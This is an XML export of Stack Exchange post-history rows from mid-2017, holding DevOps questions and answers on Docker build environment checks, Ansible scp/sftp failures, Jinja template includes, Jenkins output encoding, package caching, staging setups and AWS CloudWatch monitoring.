  <row Id="4992" PostHistoryTypeId="2" PostId="1551" RevisionGUID="ba197109-ed33-4c0c-b4a0-6d4a088d2d02" CreationDate="2017-07-17T09:09:26.613" UserId="210" Text="[This github discussion][1] was found. It seems that it is allowed to build a docker image while a certain ENV does not have been set.&#xD;&#xA;&#xD;&#xA;How to ensure that the docker build fails if an ENV has not been set?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/fabric8io/docker-maven-plugin/issues/434" ContentLicense="CC BY-SA 3.0" />
  <row Id="4993" PostHistoryTypeId="1" PostId="1551" RevisionGUID="ba197109-ed33-4c0c-b4a0-6d4a088d2d02" CreationDate="2017-07-17T09:09:26.613" UserId="210" Text="How to ensure that the docker build fails if an ENV has not been set?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4994" PostHistoryTypeId="3" PostId="1551" RevisionGUID="ba197109-ed33-4c0c-b4a0-6d4a088d2d02" CreationDate="2017-07-17T09:09:26.613" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4995" PostHistoryTypeId="5" PostId="1541" RevisionGUID="5e0197e1-0f37-47b8-9639-81e375718489" CreationDate="2017-07-17T16:39:50.293" UserId="707" Comment="added 4 characters in body" Text="While trying to get a clear picture how to setup a seamless CaSC (configuration as code) build and deployment plan management, I must to admit that I get quite puzzled.&#xD;&#xA;&#xD;&#xA;Is the following (subjective) *ideal scenario* possible?&#xD;&#xA;&#xD;&#xA; - Users can manage their plans as code or via UI as YAML&#xD;&#xA; - Plan changes in UI result in a commit to the CaSC code base (YAML as well)&#xD;&#xA;&#xD;&#xA;In the meantime, my impressions are that just pieces of that are possible but no integraton setup yet:&#xD;&#xA;&#xD;&#xA; 1. Admins can manually export (and import?) plan configurations as YAML via UI&#xD;&#xA; 2. Bamboo Specs allow Java language coding of plans. &#xD;&#xA;&#xD;&#xA;Looks like #1 is too limited (possibly usage of REST API could change that? But still you'd need admin rights) and #2 will be overdesigned for most cases.&#xD;&#xA;&#xD;&#xA;Anybody has a solution for the (subjective) *ideal scenario*?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4996" PostHistoryTypeId="2" PostId="1552" RevisionGUID="f0dee3f1-ccc9-4062-b56d-6ee0b67809bf" CreationDate="2017-07-17T18:11:24.590" UserId="3482" Text="You might want to explore [immutable architecture][1].&#xD;&#xA;&#xD;&#xA;**Steps**&#xD;&#xA;&#xD;&#xA; 1. CI with static analysis(Sonarqube, because free!), pushing version artifacts to Nexus. &#xD;&#xA;&#xD;&#xA; 2. Base Image using Packer. These must be revisited from time to time. It has security hardening, log shippers, monitoring tools etc. &#xD;&#xA;&#xD;&#xA; 3. Environment/Application specific images from Base image.&#xD;&#xA;&#xD;&#xA; 4. healthCheck and version API for each application(healthCheck API in deployment and version for visibility of code in different VMs).&#xD;&#xA;&#xD;&#xA; 5. Deploy App using Terraform and Ansible.&#xD;&#xA;&#xD;&#xA;Can use Jenkins 2.0 (pipeline as code) to achieve points 1,2,3. It can be part of each application itself.&#xD;&#xA;&#xD;&#xA;Let me know, if this answers your question.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/ImmutableServer.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4997" PostHistoryTypeId="5" PostId="1552" RevisionGUID="7d08e22c-974e-48a9-a6ae-92db87329acf" CreationDate="2017-07-17T18:17:07.890" UserId="3482" Comment="added 7 characters in body" Text="You might want to explore [immutable architecture][1].&#xD;&#xA;&#xD;&#xA;**Steps**&#xD;&#xA;&#xD;&#xA; 1. CI with static analysis(Sonarqube, because free!), pushing version artefacts to Nexus. &#xD;&#xA;&#xD;&#xA; 2. Base Image using Packer. These must be revisited from time to time. Base Image has security hardening, log shippers, monitoring tools etc. &#xD;&#xA;&#xD;&#xA; 3. Environment/Application specific images from Base image.&#xD;&#xA;&#xD;&#xA; 4. healthCheck and version API for each application(healthCheck API in deployment and version for visibility of code in different VMs).&#xD;&#xA;&#xD;&#xA; 5. Deploy App using Terraform and Ansible.&#xD;&#xA;&#xD;&#xA;Can use Jenkins 2.0 (pipeline as code) to achieve points 1,2,3. It can be part of each application itself.&#xD;&#xA;&#xD;&#xA;Let me know if this answers your question.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/ImmutableServer.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4998" PostHistoryTypeId="2" PostId="1553" RevisionGUID="f1366b30-580c-499c-8f0c-538d6f9e08ef" CreationDate="2017-07-17T19:37:51.053" UserId="2735" Text="I have an ansible playbook which can be simplified to this:&#xD;&#xA;&#xD;&#xA;    - name: Provision server                  &#xD;&#xA;      hosts: all_hosts                                                           &#xD;&#xA;      become: yes                                                                                                                                     &#xD;&#xA;      roles:                                                                                                                                                    &#xD;&#xA;        - { role: foo }&#xD;&#xA;&#xD;&#xA;That playbook successsfully configures 10 servers, but one of the servers fails with:&#xD;&#xA;&#xD;&#xA;    [WARNING]: sftp transfer mechanism failed on [xx.xx.xxx.xxx]. Use&#xD;&#xA;    ANSIBLE_DEBUG=1 to see detailed information&#xD;&#xA;     [WARNING]: scp transfer mechanism failed on [xx.xx.xxx.xxx]. Use&#xD;&#xA;    ANSIBLE_DEBUG=1 to see detailed information&#xD;&#xA;    fatal: [host_1]: FAILED! =&gt; {&quot;failed&quot;: true, &quot;msg&quot;: &quot;failed to transfer file to /home/ubuntu/.ansible/tmp/ansible-tmp-1500318083.01-204857088854554/stat.py:\n\nscp: /home/ubuntu/.ansible/tmp/ansible-tmp-1500318083.01-204857088854554/stat.py: Permission denied\n&quot;}&#xD;&#xA;&#xD;&#xA;So I ssh'd to the problematic server and a &quot;healthy&quot; server, and `ls -al` the contents of the latest temp folder for each. The healthy server had files with permissions of `rwx --- ---`. The unhealthy server had this:&#xD;&#xA;&#xD;&#xA;    ---x------ 1 ubuntu ubuntu 58378 Jul 17 14:09 file.py&#xD;&#xA;    ---x------ 1 ubuntu ubuntu 56779 Jul 17 14:09 stat.py&#xD;&#xA;&#xD;&#xA;Why would those files get those permissions? I assume that is the problem, because then scp tries to write to them, but it cannot. That doesn't totally make sense with the error message, though, which seems to be suggesting that the `scp` fails.&#xD;&#xA;&#xD;&#xA;I'm trying to figure out what debug steps to take, and if anyone can think of other places I can look in order to provide more information, I'm all ears." ContentLicense="CC BY-SA 3.0" />
  <row Id="4999" PostHistoryTypeId="1" PostId="1553" RevisionGUID="f1366b30-580c-499c-8f0c-538d6f9e08ef" CreationDate="2017-07-17T19:37:51.053" UserId="2735" Text="Ansible tmp files created with odd permissions" ContentLicense="CC BY-SA 3.0" />
  <row Id="5000" PostHistoryTypeId="3" PostId="1553" RevisionGUID="f1366b30-580c-499c-8f0c-538d6f9e08ef" CreationDate="2017-07-17T19:37:51.053" UserId="2735" Text="&lt;ansible&gt;&lt;linux&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5001" PostHistoryTypeId="5" PostId="1553" RevisionGUID="a66cd14b-8b83-49bd-b8ae-cfa4a8bb9ae0" CreationDate="2017-07-17T19:47:47.443" UserId="2735" Comment="added 453 characters in body" Text="I have an ansible playbook which can be simplified to this:&#xD;&#xA;&#xD;&#xA;    - name: Provision server                  &#xD;&#xA;      hosts: all_hosts                                                           &#xD;&#xA;      become: yes                                                                                                                                     &#xD;&#xA;      roles:                                                                                                                                                    &#xD;&#xA;        - { role: foo }&#xD;&#xA;&#xD;&#xA;With the following in `ansible.cfg`, since it may be relevant:&#xD;&#xA;&#xD;&#xA;    [defaults]                                                                         &#xD;&#xA;    allow_world_readable_tmpfiles = True                                               &#xD;&#xA;    host_key_checking = False                                                          &#xD;&#xA;    log_path=./ansible.log                                                             &#xD;&#xA;    remote_user = ubuntu   &#xD;&#xA;&#xD;&#xA;That playbook successsfully configures 10 servers, but one of the servers fails with:&#xD;&#xA;&#xD;&#xA;    [WARNING]: sftp transfer mechanism failed on [xx.xx.xxx.xxx]. Use&#xD;&#xA;    ANSIBLE_DEBUG=1 to see detailed information&#xD;&#xA;     [WARNING]: scp transfer mechanism failed on [xx.xx.xxx.xxx]. Use&#xD;&#xA;    ANSIBLE_DEBUG=1 to see detailed information&#xD;&#xA;    fatal: [host_1]: FAILED! =&gt; {&quot;failed&quot;: true, &quot;msg&quot;: &quot;failed to transfer file to /home/ubuntu/.ansible/tmp/ansible-tmp-1500318083.01-204857088854554/stat.py:\n\nscp: /home/ubuntu/.ansible/tmp/ansible-tmp-1500318083.01-204857088854554/stat.py: Permission denied\n&quot;}&#xD;&#xA;&#xD;&#xA;So I ssh'd to the problematic server and a &quot;healthy&quot; server, and `ls -al` the contents of the latest temp folder for each. The healthy server had files with permissions of `rwx --- ---`. The unhealthy server had this:&#xD;&#xA;&#xD;&#xA;    ---x------ 1 ubuntu ubuntu 58378 Jul 17 14:09 file.py&#xD;&#xA;    ---x------ 1 ubuntu ubuntu 56779 Jul 17 14:09 stat.py&#xD;&#xA;&#xD;&#xA;Why would those files get those permissions? I assume that is the problem, because then scp tries to write to them, but it cannot. That doesn't totally make sense with the error message, though, which seems to be suggesting that the `scp` fails.&#xD;&#xA;&#xD;&#xA;I'm trying to figure out what debug steps to take, and if anyone can think of other places I can look in order to provide more information, I'm all ears." ContentLicense="CC BY-SA 3.0" />
  <row Id="5002" PostHistoryTypeId="2" PostId="1554" RevisionGUID="001f04af-aed6-43f1-83b5-8265bbc5c1c1" CreationDate="2017-07-17T20:04:26.000" UserId="2735" Text="The reason for the failure is that the server in question, unlike all the others, had sftp disabled. &#xD;&#xA;Why the error messages are what they are, I don't know (why the errant `scp transfer mechanism failed`?), but I don't have time right now to investigate with the debug option enabled.&#xD;&#xA;&#xD;&#xA;But that was the issue, and adding `scp_if_ssh=True` to the `[ssh_connection]` section of my `ansible.cfg` solved the issue:&#xD;&#xA;&#xD;&#xA;    [ssh_connection]                                                                   &#xD;&#xA;    scp_if_ssh=True " ContentLicense="CC BY-SA 3.0" />
  <row Id="5003" PostHistoryTypeId="2" PostId="1555" RevisionGUID="ef637819-5240-4986-a13b-cddf131c2cdc" CreationDate="2017-07-17T21:03:49.923" UserId="3283" Text="I like this video: [GOTO 2016 • Monitoring Microservices • Tom Wilkie](https://www.youtube.com/watch?v=emaPPg_zxb4)&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;One of the key ideas (for me at least) is to realize the difference between *host* monitoring and *application* monitoring. Basically host monitoring tells you that something is fatally wrong *now*, but application monitoring should be able to *predict* problems by detecting higher error rate or that requests are taking longer time so you can fix problems *before* your users notice them.&#xD;&#xA;&#xD;&#xA;(I'm not affiliated with weaveworks or the goto conference in any way, I just like the content and think there are some interesting ideas. Use the downvote button to let me know that this answer is not good :) )&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gsBDS.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="5004" PostHistoryTypeId="2" PostId="1556" RevisionGUID="62f3a8e9-d6e8-455d-b457-eae2683cce41" CreationDate="2017-07-17T22:00:27.700" UserId="3422" Text="I've just recently taken over leadership of a small team of developers within our group. The previous Team Leader was very much into micro-management and ran the development stream in a six week waterfall approach. The developers were assigned the work items to they had to work on to the exclusion of other work. He was very controlling in that aspect. Needless to say, this didn't really meet the required objectives from the business users.&#xD;&#xA;&#xD;&#xA;Moving forward, we want to change this work process. The applications being supported are very mature, with only small to medium feature improvements. The focus needs be much more agile in the delivery fixes/changes whilst allowing for the feature development in parallel.&#xD;&#xA;&#xD;&#xA;Our team and environment is as follows.&#xD;&#xA;&#xD;&#xA;Applications/Sites&#xD;&#xA;&#xD;&#xA; - ASP.Net Websites&#xD;&#xA; - SQL Server 2012 databases&#xD;&#xA; - SQL Server Integration Services&#xD;&#xA; - SQL Server Reporting Services&#xD;&#xA; - Vendor Supplied 2-tier fat client application (has inbuilt customisation ability, all changes have to be manually migrated)&#xD;&#xA; - Vendor Supplied Silverlight Web application (has inbuilt customisation ability, all changes have to be manually migrated)&#xD;&#xA;&#xD;&#xA;Team&#xD;&#xA;&#xD;&#xA; - 4 dedicated developers&#xD;&#xA; - 1 first level support member (probably 15% dev work)&#xD;&#xA; - 1 application support member (probably 30% support, 50% dev, 20% analysis)&#xD;&#xA; - 1 DBA\Team Leader (probably 15% support, 60% dev, 25% analysis)&#xD;&#xA; - 1 Department Manager (probably 20% dev work)&#xD;&#xA;&#xD;&#xA;Definite Microsoft shop (mandated from head office)&#xD;&#xA;&#xD;&#xA; - TFS 2017 (TFVC)&#xD;&#xA; - All source code is in one TFS collection with no branching&#xD;&#xA; - Visual Studio 2015 (planning to upgrade 2017)&#xD;&#xA; - Multiple solutions/projects with some cross project dependencies&#xD;&#xA; - We have control and buy-in for server setup and configuration&#xD;&#xA;&#xD;&#xA;Current Workflow methodology&#xD;&#xA;&#xD;&#xA; - Developers work directly against individual TFS Work Items&#xD;&#xA; - No &quot;Sprint&quot; or Release date limitations. There would be significant resistance against this. From a business point of view, that as one of the main restrictions to the timely delivery of fixes/changes in the past. &#xD;&#xA; - Management and Administration of processes needs to be very, very minimal&#xD;&#xA; - Source code needs to remain on-premises (for the short term at least)&#xD;&#xA; - All deployment should be as hands-off as possible (with the exception of the vendor applications)&#xD;&#xA; - When an item of work is ready for next environment it should be deployed.&#xD;&#xA; - Deployments into production environment requires sign off from Dev team and Business team.&#xD;&#xA;&#xD;&#xA;Open to all suggestions on how we can best re-structure things to allow us to deliver what's required.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;Phil&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5005" PostHistoryTypeId="1" PostId="1556" RevisionGUID="62f3a8e9-d6e8-455d-b457-eae2683cce41" CreationDate="2017-07-17T22:00:27.700" UserId="3422" Text="Process guidance for new development team leader" ContentLicense="CC BY-SA 3.0" />
  <row Id="5006" PostHistoryTypeId="3" PostId="1556" RevisionGUID="62f3a8e9-d6e8-455d-b457-eae2683cce41" CreationDate="2017-07-17T22:00:27.700" UserId="3422" Text="&lt;deployment&gt;&lt;continuous-delivery&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5007" PostHistoryTypeId="5" PostId="1336" RevisionGUID="981ecafc-d0a9-4577-9b38-87d54bfb67e2" CreationDate="2017-07-18T03:40:14.970" UserId="3542" Comment="edit for readability" Text="I have ***Java Spring web service project on EC2*** &#xD;&#xA;&#xD;&#xA;I tried writing a `buildspec.yml` for it. However the AWS CodeBuild service is not giving successful results. In the install phase itself, it tells `apt-get` and `yum` command not found. The problem is that both `yum` and `apt-get` are not being detected. However the exemplary file in the docs is using `apt-get` to in the install phase. How can I make it work?&#xD;&#xA;&#xD;&#xA;[![This is my buildspec file.][1]][1]&#xD;&#xA;&#xD;&#xA;I am not able to figure it out... why does it fail for both `yum` and `apt-get`?&#xD;&#xA;&#xD;&#xA;[![These are the logs of the build][2]][2]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/FoLky.jpg&#xD;&#xA;  [2]: https://i.stack.imgur.com/O4jY0.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="5008" PostHistoryTypeId="4" PostId="1336" RevisionGUID="981ecafc-d0a9-4577-9b38-87d54bfb67e2" CreationDate="2017-07-18T03:40:14.970" UserId="3542" Comment="edit for readability" Text="How do I write a buildspec.yml file?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5009" PostHistoryTypeId="24" PostId="1336" RevisionGUID="981ecafc-d0a9-4577-9b38-87d54bfb67e2" CreationDate="2017-07-18T03:40:14.970" Comment="Proposed by 3542 approved by 40, 47 edit id of 379" ContentLicense="CC BY-SA 3.0" />
  <row Id="5013" PostHistoryTypeId="2" PostId="1558" RevisionGUID="8ab02290-7716-4bbe-b0f1-ff1293a14784" CreationDate="2017-07-18T10:15:38.177" UserId="210" Text="&#xD;&#xA;It is possible [to include a subtemplate in another Puppet template][1].&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; `&lt;%= scope.function_template(&quot;subtemplate.erb&quot;) %&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/16551717/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="5014" PostHistoryTypeId="1" PostId="1558" RevisionGUID="8ab02290-7716-4bbe-b0f1-ff1293a14784" CreationDate="2017-07-18T10:15:38.177" UserId="210" Text="Is it possible to combine jinja templates in ansible like this is possible with erbs in puppet?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5015" PostHistoryTypeId="3" PostId="1558" RevisionGUID="8ab02290-7716-4bbe-b0f1-ff1293a14784" CreationDate="2017-07-18T10:15:38.177" UserId="210" Text="&lt;ansible&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5016" PostHistoryTypeId="2" PostId="1559" RevisionGUID="962f6701-6d33-423e-b345-8c7d1024fe8e" CreationDate="2017-07-18T10:16:32.433" UserId="210" Text="Yes, that is possible according to [this post][1].&#xD;&#xA;&#xD;&#xA;When a second jinja template was created and this was included in the base jinja it was called.&#xD;&#xA;&#xD;&#xA;    {% include &quot;checks/subdue.j2&quot; %}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://thornelabs.net/2014/05/22/include-additional-content-in-ansible-template-file.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5017" PostHistoryTypeId="50" PostId="1130" RevisionGUID="22962c9b-f2af-4092-a2d5-2ea7e06e81ae" CreationDate="2017-07-18T23:54:49.980" UserId="-1" />
  <row Id="5019" PostHistoryTypeId="2" PostId="1560" RevisionGUID="0d7ec428-48c7-41f0-9e3d-4d3068995808" CreationDate="2017-07-19T07:31:41.617" UserId="13" Text="An empty of non existent environment variable is the same thing, there's no reason Docker do not allow you to pass an empty variable as it could be a valid use case.&#xD;&#xA;&#xD;&#xA;It's up to your responsibility to ensure needed environment variables are there and give an error message back when not.&#xD;&#xA;&#xD;&#xA;Something along the line of:&#xD;&#xA;&#xD;&#xA;    RUN 'if [ -z &quot;$AN_ENV_VAR&quot; ]; then echo 'Environment variable AN_ENV_VAR must be specified. Exiting.'; exit 1; fi'&#xD;&#xA;&#xD;&#xA;You can play with the exit code to automate some actions on failure around your `docker build` command." ContentLicense="CC BY-SA 3.0" />
  <row Id="5020" PostHistoryTypeId="2" PostId="1561" RevisionGUID="88a13f1a-9bc8-43a1-b9b7-d4c97be50481" CreationDate="2017-07-19T08:24:10.770" UserId="3503" Text="Jenkins working with newman command (postman) `newman run https://www.getpostman.com/collections/631643-f695cab7-6878-eb55-7943-ad88e1ccfd65-JsLv`, and the Console Output shows:&#xD;&#xA;[![console-output-1][1]][1]&#xD;&#xA;&#xD;&#xA;But when I go to **View as plain text**, the character shows correct:&#xD;&#xA;[![console-text-output-1][2]][2]&#xD;&#xA;&#xD;&#xA;Here more details:&#xD;&#xA;&#xD;&#xA; - Jenkins Version: `2.7.0` &#xD;&#xA; - Job Type: `free style` &#xD;&#xA; - Slave OS: `Ubuntu 16.04 LTS` &#xD;&#xA; - Jenkins Installation way: `apt install jenkins` &#xD;&#xA; - JAVA_ARG: `JAVA_ARGS=...  -Dfile.encoding=UTF-8 -Dsun.jnu.encoding=utf-8`&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/DduDY.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/RXEzu.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="5021" PostHistoryTypeId="1" PostId="1561" RevisionGUID="88a13f1a-9bc8-43a1-b9b7-d4c97be50481" CreationDate="2017-07-19T08:24:10.770" UserId="3503" Text="Jenkins Console Output character issue, but plain text show correct" ContentLicense="CC BY-SA 3.0" />
  <row Id="5022" PostHistoryTypeId="3" PostId="1561" RevisionGUID="88a13f1a-9bc8-43a1-b9b7-d4c97be50481" CreationDate="2017-07-19T08:24:10.770" UserId="3503" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5023" PostHistoryTypeId="2" PostId="1562" RevisionGUID="824754ee-46e4-47ad-91bf-d8a598b322a0" CreationDate="2017-07-19T09:32:47.850" UserId="3451" Text="Often I test some stuff on my MacBook. Mostly database and data store related stuff (MongoDB, MariaDB, Postgres). I install the software with Homebrew and test.&#xD;&#xA;&#xD;&#xA;I wonder if I should switch to docker? What are pros and cons Homebrew vs. Docker for testing things on local Desktop?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5024" PostHistoryTypeId="1" PostId="1562" RevisionGUID="824754ee-46e4-47ad-91bf-d8a598b322a0" CreationDate="2017-07-19T09:32:47.850" UserId="3451" Text="macOS testing on Desktop: Docker containers vs. Homebrew installation" ContentLicense="CC BY-SA 3.0" />
  <row Id="5025" PostHistoryTypeId="3" PostId="1562" RevisionGUID="824754ee-46e4-47ad-91bf-d8a598b322a0" CreationDate="2017-07-19T09:32:47.850" UserId="3451" Text="&lt;docker&gt;&lt;testing&gt;&lt;databases&gt;&lt;open-source&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5026" PostHistoryTypeId="2" PostId="1563" RevisionGUID="11085dfc-c432-4cc6-beae-5e52abbdd28a" CreationDate="2017-07-19T10:43:29.523" UserId="3562" Text="that is formatting issue&#xD;&#xA;you may try to configure jenkins job to use formatted output as well&#xD;&#xA;check it out [https://wiki.jenkins.io/display/JENKINS/AnsiColor+Plugin][1]&#xD;&#xA;try all available schemes one by one, some of then should works well&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/AnsiColor+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="5027" PostHistoryTypeId="2" PostId="1564" RevisionGUID="b6976d61-2618-4e2b-916b-82eb3ae64d60" CreationDate="2017-07-19T11:03:33.943" UserId="3562" Text="I would not reccommed OpenStack&#xD;&#xA;Docker killed OpenStack&#xD;&#xA;I would reccomend to use Kubernetes,&#xD;&#xA;investigate, whether it works with your app architecture&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5029" PostHistoryTypeId="2" PostId="1565" RevisionGUID="0e013809-af8d-48e5-a151-3c129641d738" CreationDate="2017-07-19T15:27:17.640" UserId="736" Text="Turns out you can hit the following URL to get an XML output of all currently running builds, including their build numbers. &#xD;&#xA;&#xD;&#xA;    http://jenkinsURL/computer/api/xml?tree=computer[executors[currentExecutable[url]],oneOffExecutors[currentExecutable[url]]]&amp;xpath=//url&amp;wrapper=builds&#xD;&#xA;&#xD;&#xA;I `grep`ed it for a count and used that for my calculations." ContentLicense="CC BY-SA 3.0" />
  <row Id="5030" PostHistoryTypeId="2" PostId="1566" RevisionGUID="2c8393b1-8789-47e1-9cca-1a0af76592b2" CreationDate="2017-07-19T15:34:46.213" UserId="47" Text="One of the advantages of using Docker would be that you can easily run tests with different versions of the (DB) apps, which could be quite difficult with Homebrew (some apps don't easily support multiple versions installed on the same system)." ContentLicense="CC BY-SA 3.0" />
  <row Id="5031" PostHistoryTypeId="2" PostId="1567" RevisionGUID="bdb50ee8-439c-4edc-8a2b-d3273c87da81" CreationDate="2017-07-19T23:39:47.587" UserId="2708" Text="&gt; Strange enough node.js unlikely maven installs the packages the software needs inside the project directory.&#xD;&#xA;&#xD;&#xA;I don't see fundamental differences between npm on node.js and Maven. In both cases, the dependencies finally end up in the project directory (npm: `/node_modules`, Maven: `/target`). Otherwise, you cannot continue building the software. (When you run the build system to create the final artifact, it needs the dependencies.)&#xD;&#xA;&#xD;&#xA;In addition, both have a global cache to avoid downloading already fetched dependencies: In Maven, the default cache directory is `~/.m2` (on Linux and MacOS). For npm, it is `~/.npm`.&#xD;&#xA;&#xD;&#xA;&gt; Is there a way to introduce a central repository which also caches different versions of components and would allow to pull them on build like we know it from other ecosystems?&#xD;&#xA;&#xD;&#xA;If the system cache is not enough and you do not want to depend completely on the public repository (npm: registry.npmjs.org, Maven: Maven Central), you can run your own mirror. For instance, if you want to be able to rebuild the software even if the public repository is down.&#xD;&#xA;&#xD;&#xA;In my previous job, we used [Nexus][1] as a caching proxy and local registry (for hosting code that is only accessible within your organization). It supports both npm (see [documentation][2]) and Maven (see [documentation][3]). (There are other tools, but the point is that both ecosystems can be handled by one tool.)&#xD;&#xA;&#xD;&#xA;Of course, there are differences between Maven and npm. For instance, Maven is also a full build system, whereas the scope of npm is primarily dependency management. Maven also defines conventions to structure a Java project ([&quot;The Maven Way&quot;][4]). But when looking only at the dependency aspect, package managers for Node.js like npm are conceptually not so different from Maven.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-sonatype&#xD;&#xA;  [2]: https://books.sonatype.com/nexus-book/reference/npm.html&#xD;&#xA;  [3]: https://books.sonatype.com/nexus-book/reference/config.html&#xD;&#xA;  [4]: https://maven.apache.org/background/philosophy-of-maven.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5033" PostHistoryTypeId="2" PostId="1568" RevisionGUID="6be73f57-50ab-47e9-ad70-be775ac1d883" CreationDate="2017-07-20T06:01:45.677" UserId="3572" Text="At my work I have been tasked to create a new staging process for our development and testing. &#xD;&#xA;&#xD;&#xA;At any given time, there are only around 4 git branches actively being developed and tested. Within each git branch, there **may be** database evolution scripts (straight SQL) that must be run, as well as evolution scripts from the backend for heavier processing (essentially these are HTTP routes that must be called within the app using admin credentials that perform database migrations and other changes that would be too difficult/not possible to script in the aforementioned plain SQL evolution scripts).&#xD;&#xA;&#xD;&#xA;Our live DB is moderately sized ~ 4.2 GB. We have a brand new Dell PowerEdge server that is ready to be set up and is at my disposable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would love advice on the following questions, as well as to know how more experienced DevOps would approach this:&#xD;&#xA;&#xD;&#xA;1) How can I run several different branches on the staging server? These branches pop up and disappear frequently as they pass QA and are merged into master and are released. &#xD;&#xA;&#xD;&#xA;2) How would I set up the DB evolution system to make sure it always has appropriate DB for each branch? Each branch may make modifications to the DB in different ways that are not necessarily compatible with each other until they're merged.&#xD;&#xA;&#xD;&#xA;3) How do I keep these branches up-to-date? Is there a way to auto pull commits on each branch? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Would love any more input as I'm a bit lost on how to set this all up. Current workflow is difficult for everyone involved: Devs have a completely isolated local copy of the app running locally and QA has 3-4 laptops in rotation that act as their staging &quot;servers&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5034" PostHistoryTypeId="1" PostId="1568" RevisionGUID="6be73f57-50ab-47e9-ad70-be775ac1d883" CreationDate="2017-07-20T06:01:45.677" UserId="3572" Text="How to create staging servers for multiple git branches?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5035" PostHistoryTypeId="3" PostId="1568" RevisionGUID="6be73f57-50ab-47e9-ad70-be775ac1d883" CreationDate="2017-07-20T06:01:45.677" UserId="3572" Text="&lt;git&gt;&lt;testing&gt;&lt;builds&gt;&lt;branch&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5036" PostHistoryTypeId="2" PostId="1569" RevisionGUID="e23a815f-b6b8-427b-bf5f-c39b3abfc263" CreationDate="2017-07-20T06:05:50.817" UserId="46" Text="I have a set of rules in my AWS Config dashboard. And, I want to set a AWS CloudWatch alarm to be triggered whenever Config detects non-compliant resource(s).&#xD;&#xA;&#xD;&#xA;[The plan is to link that alarm to an SNS topic for sending out emails to the team for any non-compliant event/resource]&#xD;&#xA;&#xD;&#xA;Is there a straightforward way to do that? Or is there a workaround for the same?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;I went through the available metrics in the Cloudwatch dashboard, but haven't found anything related to AWS Config." ContentLicense="CC BY-SA 3.0" />
  <row Id="5037" PostHistoryTypeId="1" PostId="1569" RevisionGUID="e23a815f-b6b8-427b-bf5f-c39b3abfc263" CreationDate="2017-07-20T06:05:50.817" UserId="46" Text="How to set CloudWatch alarms for non-compliancy in AWS Config rules?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5038" PostHistoryTypeId="3" PostId="1569" RevisionGUID="e23a815f-b6b8-427b-bf5f-c39b3abfc263" CreationDate="2017-07-20T06:05:50.817" UserId="46" Text="&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5039" PostHistoryTypeId="2" PostId="1570" RevisionGUID="330fc532-a441-40f9-b107-7863a846a929" CreationDate="2017-07-20T08:23:53.833" UserId="3573" Text="&#xD;&#xA;&#xD;&#xA;For monitoring purposes, we're pulling AWS/EC2 instances statistics data from CloudWatch and save it to InfluxDB. &#xD;&#xA;&#xD;&#xA;We're using [Telegraf][1] to do this. &#xD;&#xA;&#xD;&#xA;However, when pulling the data from Cloudwatch, it doesn't contain the instance tags or env_variables, only the standard instance fields (instance_id, for example) &#xD;&#xA;&#xD;&#xA;Is there a way to get this data when pulling the stats? Some other agent? A Lambda function? &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/influxdata/telegraf" ContentLicense="CC BY-SA 3.0" />
  <row Id="5040" PostHistoryTypeId="1" PostId="1570" RevisionGUID="330fc532-a441-40f9-b107-7863a846a929" CreationDate="2017-07-20T08:23:53.833" UserId="3573" Text="How to get EC2 instance tags when pulling CloudWatch data?" ContentLicense="CC BY-SA 3.0" />
